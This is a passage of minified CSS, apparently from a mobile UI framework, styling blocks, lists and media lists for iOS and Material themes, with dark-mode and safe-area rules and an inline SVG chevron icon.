.block.no-hairline-bottom-md:after{display:none!important}.block>h1:first-child,.block>h2:first-child,.block>h3:first-child,.block>h4:first-child,.block>p:first-child{margin-top:0}.block>h1:last-child,.block>h2:last-child,.block>h3:last-child,.block>h4:last-child,.block>p:last-child{margin-bottom:0}.block-title{position:relative;overflow:hidden;margin:0;white-space:nowrap;text-overflow:ellipsis;font-size:14px;line-height:1}.block-strong.inset{border-radius:7px}.block-strong.inset:before{display:none!important}.block-strong.inset:after{display:none!important}.block-footer,.block-header{font-size:14px}.block-footer h1:first-child,.block-footer h2:first-child,.block-footer h3:first-child,.block-footer h4:first-child,.block-footer p:first-child,.block-footer ul:first-child,.block-header h1:first-child,.block-header h2:first-child,.block-header h3:first-child,.block-header h4:first-child,.block-header p:first-child,.block-header ul:first-child{margin-top:0}.block-footer h1:last-child,.block-footer h2:last-child,.block-footer h3:last-child,.block-footer h4:last-child,.block-footer p:last-child,.block-footer ul:last-child,.block-header h1:last-child,.block-header h2:last-child,.block-header h3:last-child,.block-header h4:last-child,.block-header p:last-child,.block-header ul:last-child{margin-bottom:0}.block-footer h1:first-child:last-child,.block-footer h2:first-child:last-child,.block-footer h3:first-child:last-child,.block-footer h4:first-child:last-child,.block-footer p:first-child:last-child,.block-footer ul:first-child:last-child,.block-header h1:first-child:last-child,.block-header h2:first-child:last-child,.block-header h3:first-child:last-child,.block-header h4:first-child:last-child,.block-header p:first-child:last-child,.block-header ul:first-child:last-child{margin-top:0;margin-bottom:0}.block-header{margin-bottom:10px}.block-footer{margin-top:10px}@media (min-width:768px){.block-strong.tablet-inset:before{display:none!important}.block-strong.tablet-inset:after{display:none!important}}.ios .block{margin:35px 0;padding:0 15px;color:#6d6d72}.ios .block-title{text-transform:uppercase;color:#6d6d72;margin:35px 15px 10px;line-height:17px}.ios .block-title+.block,.ios .block-title+.block-header,.ios .block-title+.card,.ios .block-title+.list,.ios .block-title+.timeline{margin-top:10px}.ios .block-strong{color:#000;background:#fff;padding:15px 15px}.ios .block-strong:before{content:'';position:absolute;background-color:#c8c7cc;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.ios.device-pixel-ratio-2 .block-strong:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .block-strong:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .block-strong:after{content:'';position:absolute;background-color:#c8c7cc;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .block-strong:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .block-strong:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .block.inset{margin-left:15px;margin-right:15px}.ios .block-strong-inset{border-radius:7px}.ios .block-footer,.ios .block-header{padding:0 15px;color:#8f8f94}.ios .block .block-footer,.ios .block .block-header{padding:0!important}.ios .block-header{margin-top:35px}.ios .block-header+.block,.ios .block-header+.card,.ios .block-header+.list,.ios .block-header+.timeline{margin-top:10px}.ios .block-footer{margin-bottom:35px}.ios .block .block-header,.ios .card .block-header,.ios .list .block-header,.ios .timeline .block-header{margin-top:0}.ios .block .block-footer,.ios .card .block-footer,.ios .list .block-footer,.ios .timeline .block-footer{margin-bottom:0}.ios .block+.block-footer,.ios .card+.block-footer,.ios .list+.block-footer,.ios .timeline+.block-footer{margin-top:-25px}.ios .block+.block-footer{margin-top:-25px;margin-bottom:35px}@media (min-width:768px){.ios .block.tablet-inset{margin-left:15px;margin-right:15px;border-radius:7px}.ios .block-strong.tablet-inset{border-radius:7px}}.ios .theme-dark .block-footer,.ios .theme-dark .block-header,.ios .theme-dark .block-title{color:#8e8e93}.ios .theme-dark .block{color:#8e8e93}.ios .theme-dark .block-strong,.ios .theme-dark.block-strong{background-color:#1c1c1d;color:#fff}.ios .theme-dark .block-strong:before,.ios .theme-dark.block-strong:before{background-color:#282829}.ios .theme-dark .block-strong:after,.ios .theme-dark.block-strong:after{background-color:#282829}@media (orientation:landscape){.ios.device-iphone-x .ios-edges .block-footer,.ios.device-iphone-x .ios-edges .block-header,.ios.device-iphone-x .ios-edges .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .ios-left-edge .block-footer,.ios.device-iphone-x .ios-left-edge .block-header,.ios.device-iphone-x .ios-left-edge .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .panel-left .block-footer,.ios.device-iphone-x .panel-left .block-header,.ios.device-iphone-x .panel-left .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .popup .block-footer,.ios.device-iphone-x .popup .block-header,.ios.device-iphone-x .popup .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .sheet-modal .block-footer,.ios.device-iphone-x .sheet-modal .block-header,.ios.device-iphone-x .sheet-modal .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge){padding-left:calc(15px + constant(safe-area-inset-left));padding-left:calc(15px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.ios.device-iphone-x .ios-left-edge .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .ios-left-edge .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.ios.device-iphone-x .panel-left .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .panel-left .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.ios.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.ios.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header{padding-left:0}.ios.device-iphone-x .ios-edges .block-title:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .ios-edges .block.inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .ios-left-edge .block-title:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .ios-left-edge .block.inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .panel-left .block-title:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .panel-left .block.inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .popup .block-title:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .popup .block.inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .sheet-modal .block-title:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .sheet-modal .block.inset:not(.no-ios-edges):not(.no-ios-left-edge){margin-left:calc(15px + constant(safe-area-inset-left));margin-left:calc(15px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .block-footer,.ios.device-iphone-x .ios-edges .block-header,.ios.device-iphone-x .ios-edges .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .ios-right-edge .block-footer,.ios.device-iphone-x .ios-right-edge .block-header,.ios.device-iphone-x .ios-right-edge .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .panel-right .block-footer,.ios.device-iphone-x .panel-right .block-header,.ios.device-iphone-x .panel-right .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .popup .block-footer,.ios.device-iphone-x .popup .block-header,.ios.device-iphone-x .popup .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .sheet-modal .block-footer,.ios.device-iphone-x .sheet-modal .block-header,.ios.device-iphone-x .sheet-modal .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge){padding-right:calc(15px + constant(safe-area-inset-right));padding-right:calc(15px + env(safe-area-inset-right))}.ios.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.ios.device-iphone-x .ios-right-edge .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .ios-right-edge .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.ios.device-iphone-x .panel-right .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .panel-right .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.ios.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.ios.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header{padding-right:0}.ios.device-iphone-x .ios-edges .block-title:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .ios-edges .block.inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .ios-right-edge .block-title:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .ios-right-edge .block.inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .panel-right .block-title:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .panel-right .block.inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .popup .block-title:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .popup .block.inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .sheet-modal .block-title:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .sheet-modal .block.inset:not(.no-ios-edges):not(.no-ios-right-edge){margin-right:calc(15px + constant(safe-area-inset-right));margin-right:calc(15px + env(safe-area-inset-right))}}@media (orientation:landscape) and (min-width:768px){.ios.device-iphone-x .ios-edges .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .ios-left-edge .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .panel-left .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .popup .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .sheet-modal .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge){margin-left:calc(15px + constant(safe-area-inset-left));margin-left:calc(15px + env(safe-area-inset-left))}}@media (orientation:landscape) and (min-width:768px){.ios.device-iphone-x .ios-edges .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .ios-right-edge .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .panel-right .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .popup .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .sheet-modal .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge){margin-right:calc(15px + constant(safe-area-inset-right));margin-right:calc(15px + env(safe-area-inset-right))}}.md .block{margin:32px 0;padding:0 16px}.md .block-title{color:rgba(0,0,0,.54);margin:32px 16px 16px;line-height:16px;font-weight:500}.md .block-title+.block,.md .block-title+.block-header,.md .block-title+.card,.md .block-title+.list,.md .block-title+.timeline{margin-top:0}.md .block-strong{padding:16px}.md .block-strong:before{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.md.device-pixel-ratio-2 .block-strong:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .block-strong:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .block-strong:after{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.md.device-pixel-ratio-2 .block-strong:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .block-strong:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .block.inset{margin-left:16px;margin-right:16px}.md .block-strong.inset{border-radius:4px}.md .block-footer,.md .block-header{padding:0 16px;color:rgba(0,0,0,.54)}.md .block .block-footer,.md .block .block-header{padding:0}.md .block-header{margin-top:32px}.md .block-header+.block,.md .block-header+.card,.md .block-header+.list,.md .block-header+.timeline{margin-top:10px}.md .block-footer{margin-bottom:32px}.md .block .block-header,.md .card .block-header,.md .list .block-header,.md .timeline .block-header{margin-top:0}.md .block .block-footer,.md .card .block-footer,.md .list .block-footer,.md .timeline .block-footer{margin-bottom:0}.md .block+.block-footer,.md .card+.block-footer,.md .list+.block-footer,.md .timeline+.block-footer{margin-top:-22px}.md .block+.block-footer{margin-top:-22px;margin-bottom:32px}@media (min-width:768px){.md .block.tablet-inset{margin-left:16px;margin-right:16px;border-radius:4px}.md .block-strong.tablet-inset{border-radius:4px}}.md .theme-dark .block-title{color:#fff}.md .theme-dark .block-footer,.md .theme-dark .block-header{color:rgba(255,255,255,.54)}@media (orientation:landscape){.md.device-iphone-x .ios-edges .block-footer,.md.device-iphone-x .ios-edges .block-header,.md.device-iphone-x .ios-edges .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .ios-left-edge .block-footer,.md.device-iphone-x .ios-left-edge .block-header,.md.device-iphone-x .ios-left-edge .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .panel-left .block-footer,.md.device-iphone-x .panel-left .block-header,.md.device-iphone-x .panel-left .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .popup .block-footer,.md.device-iphone-x .popup .block-header,.md.device-iphone-x .popup .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .sheet-modal .block-footer,.md.device-iphone-x .sheet-modal .block-header,.md.device-iphone-x .sheet-modal .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge){padding-left:calc(16px + constant(safe-area-inset-left));padding-left:calc(16px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.md.device-iphone-x .ios-left-edge .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .ios-left-edge .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.md.device-iphone-x .panel-left .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .panel-left .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.md.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.md.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header{padding-left:0}.md.device-iphone-x .ios-edges .block-title:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .ios-edges .block.inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .ios-left-edge .block-title:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .ios-left-edge .block.inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .panel-left .block-title:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .panel-left .block.inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .popup .block-title:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .popup .block.inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .sheet-modal .block-title:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .sheet-modal .block.inset:not(.no-ios-edges):not(.no-ios-left-edge){margin-left:calc(16px + constant(safe-area-inset-left));margin-left:calc(16px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .block-footer,.md.device-iphone-x .ios-edges .block-header,.md.device-iphone-x .ios-edges .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .ios-right-edge .block-footer,.md.device-iphone-x .ios-right-edge .block-header,.md.device-iphone-x .ios-right-edge .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .panel-right .block-footer,.md.device-iphone-x .panel-right .block-header,.md.device-iphone-x .panel-right .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .popup .block-footer,.md.device-iphone-x .popup .block-header,.md.device-iphone-x .popup .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .sheet-modal .block-footer,.md.device-iphone-x .sheet-modal .block-header,.md.device-iphone-x .sheet-modal .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge){padding-right:calc(16px + constant(safe-area-inset-right));padding-right:calc(16px + env(safe-area-inset-right))}.md.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.md.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.md.device-iphone-x .ios-right-edge .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.md.device-iphone-x .ios-right-edge .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.md.device-iphone-x .panel-right .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.md.device-iphone-x .panel-right .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.md.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.md.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.md.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.md.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header{padding-right:0}.md.device-iphone-x .ios-edges .block-title:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .ios-edges .block.inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .ios-right-edge .block-title:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .ios-right-edge .block.inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .panel-right .block-title:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .panel-right .block.inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .popup .block-title:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .popup .block.inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .sheet-modal .block-title:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .sheet-modal .block.inset:not(.no-ios-edges):not(.no-ios-right-edge){margin-right:calc(16px + constant(safe-area-inset-right));margin-right:calc(16px + env(safe-area-inset-right))}}@media (orientation:landscape) and (min-width:768px){.md.device-iphone-x .ios-edges .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .ios-left-edge .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .panel-left .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .popup .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .sheet-modal .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge){margin-left:calc(16px + constant(safe-area-inset-left));margin-left:calc(16px + env(safe-area-inset-left))}}@media (orientation:landscape) and (min-width:768px){.md.device-iphone-x .ios-edges .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .ios-right-edge .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .panel-right .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .popup .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .sheet-modal .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge){margin-right:calc(16px + constant(safe-area-inset-right));margin-right:calc(16px + env(safe-area-inset-right))}}.list{position:relative;z-index:1}.list ul{list-style:none;margin:0;padding:0;position:relative}.list ul ul:before{display:none!important}.list ul ul:after{display:none!important}.list li{position:relative;-webkit-box-sizing:border-box;box-sizing:border-box}.list .item-media{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;-webkit-flex-wrap:nowrap;-ms-flex-wrap:nowrap;flex-wrap:nowrap;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-sizing:border-box;box-sizing:border-box;padding-bottom:8px}.list .item-inner{position:relative;width:100%;padding-top:8px;padding-bottom:8px;min-width:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-align-self:stretch;-ms-flex-item-align:stretch;align-self:stretch}.list .item-title{min-width:0;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;white-space:nowrap;position:relative;overflow:hidden;text-overflow:ellipsis;max-width:100%}.list .item-after{white-space:nowrap;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;margin-right:auto}.list .item-link,.list .list-button{-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transition-property:background-color;transition-property:background-color;display:block;position:relative;overflow:hidden;z-index:0}.list .item-content{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.list .item-subtitle{position:relative;overflow:hidden;white-space:nowrap;max-width:100%;text-overflow:ellipsis}.list .item-text{position:relative;overflow:hidden;text-overflow:hidden;-webkit-line-clamp:2;-webkit-box-orient:vertical;display:-webkit-box}.list .item-title-row{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-sizing:border-box;box-sizing:border-box}.list .item-title-row .item-after{-webkit-align-self:center;-ms-flex-item-align:center;align-self:center}.list .item-row{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-sizing:border-box;box-sizing:border-box}.list .item-cell{display:block;-webkit-align-self:center;-ms-flex-item-align:center;align-self:center;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1}.list li:last-child .list-button:after{display:none!important}.list li:last-child li:last-child>.item-content>.item-inner:after,.list li:last-child li:last-child>.item-inner:after,.list li:last-child li:last-child>.item-link>.item-content>.item-inner:after,.list li:last-child>.item-content>.item-inner:after,.list li:last-child>.item-inner:after,.list li:last-child>.item-link>.item-content>.item-inner:after{display:none!important}.ios .list.no-hairlines-ios ul:before,.ios .list.no-hairlines-ios:before,.list.no-hairlines ul:before,.list.no-hairlines:before,.md .list.no-hairlines-md ul:before,.md .list.no-hairlines-md:before{display:none!important}.ios .list.no-hairlines-ios ul:after,.ios .list.no-hairlines-ios:after,.list.no-hairlines ul:after,.list.no-hairlines:after,.md .list.no-hairlines-md ul:after,.md .list.no-hairlines-md:after{display:none!important}.ios .list.no-hairline-top-ios ul:before,.ios .list.no-hairline-top-ios:before,.list.no-hairline-top ul:before,.list.no-hairline-top:before,.md .list.no-hairline-top-md ul:before,.md .list.no-hairline-top-md:before{display:none!important}.ios .list.no-hairline-bottom-ios ul:after,.ios .list.no-hairline-bottom-ios:after,.list.no-hairline-bottom ul:after,.list.no-hairline-bottom:after,.md .list.no-hairline-bottom-md ul:after,.md .list.no-hairline-bottom-md:after{display:none!important}.ios .list.no-hairlines-between-ios .item-divider:after,.ios .list.no-hairlines-between-ios .item-inner:after,.ios .list.no-hairlines-between-ios .list-button:after,.ios .list.no-hairlines-between-ios .list-group-title:after,.list.no-hairlines-between .item-divider:after,.list.no-hairlines-between .item-inner:after,.list.no-hairlines-between .list-button:after,.list.no-hairlines-between .list-group-title:after,.md .list.no-hairlines-between-md .item-divider:after,.md .list.no-hairlines-between-md .item-inner:after,.md .list.no-hairlines-between-md .list-button:after,.md .list.no-hairlines-between-md .list-group-title:after{display:none!important}.ios .list.no-hairlines-between-ios.simple-list li:after,.list.no-hairlines-between.simple-list li:after,.md .list.no-hairlines-between-md.simple-list li:after{display:none!important}.ios .list.no-hairlines-between-ios.links-list a:after,.list.no-hairlines-between.links-list a:after,.md .list.no-hairlines-between-md.links-list a:after{display:none!important}.list.simple-list li{position:relative;white-space:nowrap;text-overflow:ellipsis;max-width:100%;-webkit-box-sizing:border-box;box-sizing:border-box;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-align-content:center;-ms-flex-line-pack:center;align-content:center}.list.simple-list li:last-child:after{display:none!important}.list.links-list a{-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transition-property:background-color;transition-property:background-color;display:block;position:relative;overflow:hidden;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-align-content:center;-ms-flex-line-pack:center;align-content:center;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-sizing:border-box;box-sizing:border-box;white-space:nowrap;text-overflow:ellipsis;max-width:100%}.list.links-list li:last-child a:after{display:none!important}.media-list .item-inner,li.media-item .item-inner{display:block;-webkit-align-self:stretch;-ms-flex-item-align:stretch;align-self:stretch}.media-list .item-link .item-inner,li.media-item .item-link .item-inner{background:0 0}.media-list .item-media,li.media-item .item-media{-webkit-align-self:flex-start;-ms-flex-item-align:start;align-self:flex-start}.media-list .item-media img,li.media-item .item-media img{display:block}.links-list a,.list .item-link .item-inner,.media-list .chevron-center .item-link .item-inner,.media-list .item-link .item-title-row,.media-list .item-link.chevron-center .item-inner,.media-list.chevron-center .item-link .item-inner,li.media-item .chevron-center .item-link .item-inner,li.media-item .item-link .item-title-row,li.media-item .item-link.chevron-center .item-inner,li.media-item.chevron-center .item-link .item-inner{background-size:8px 13px;background-repeat:no-repeat;background-position:15px center;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'8px'%20height%3D'13px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23c7c7cc'%20transform%3D'translate(6.500000%2C%206.500000)%20rotate(-225.000000)%20translate(-6.500000%2C%20-6.500000)%20'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E")}.item-link.no-chevron .item-inner,.links-list .no-chevron a,.links-list.no-chevron a,.media-list .chevron-center .item-title-row,.media-list.chevron-center .item-title-row,.media-list.no-chevron .item-link .item-title-row,.no-chevron .item-link .item-inner,.no-chevron .links-list a,.no-chevron .media-list .item-link .item-title-row,li.media-item .chevron-center .item-title-row,li.media-item .no-chevron .item-title-row,li.media-item.chevron-center .item-title-row,li.media-item.no-chevron .item-title-row{background-image:none!important}.media-list .item-link .item-inner,li.media-item .item-link .item-inner{background-image:none}.media-list .item-link .item-title-row,li.media-item .item-link .item-title-row{background-position:left center!important}.list-group ul:after,.list-group ul:before{z-index:25!important}.list-group+.list-group ul:before{display:none!important}.item-divider,li.item-divider,li.list-group-title{white-space:nowrap;position:relative;max-width:100%;text-overflow:ellipsis;overflow:hidden;z-index:15}li.list-group-title{position:relative;position:-webkit-sticky;position:sticky;top:0;margin-top:0;z-index:20}li.list-group-title:before{display:none!important}.list.inset .block-title{margin-left:0;margin-right:0}.list.inset ul:before{display:none!important}.list.inset ul:after{display:none!important}@media (min-width:768px){.list.tablet-inset .block-title{margin-left:0;margin-right:0}.list.tablet-inset ul:before{display:none!important}.list.tablet-inset ul:after{display:none!important}}.links-list.theme-dark 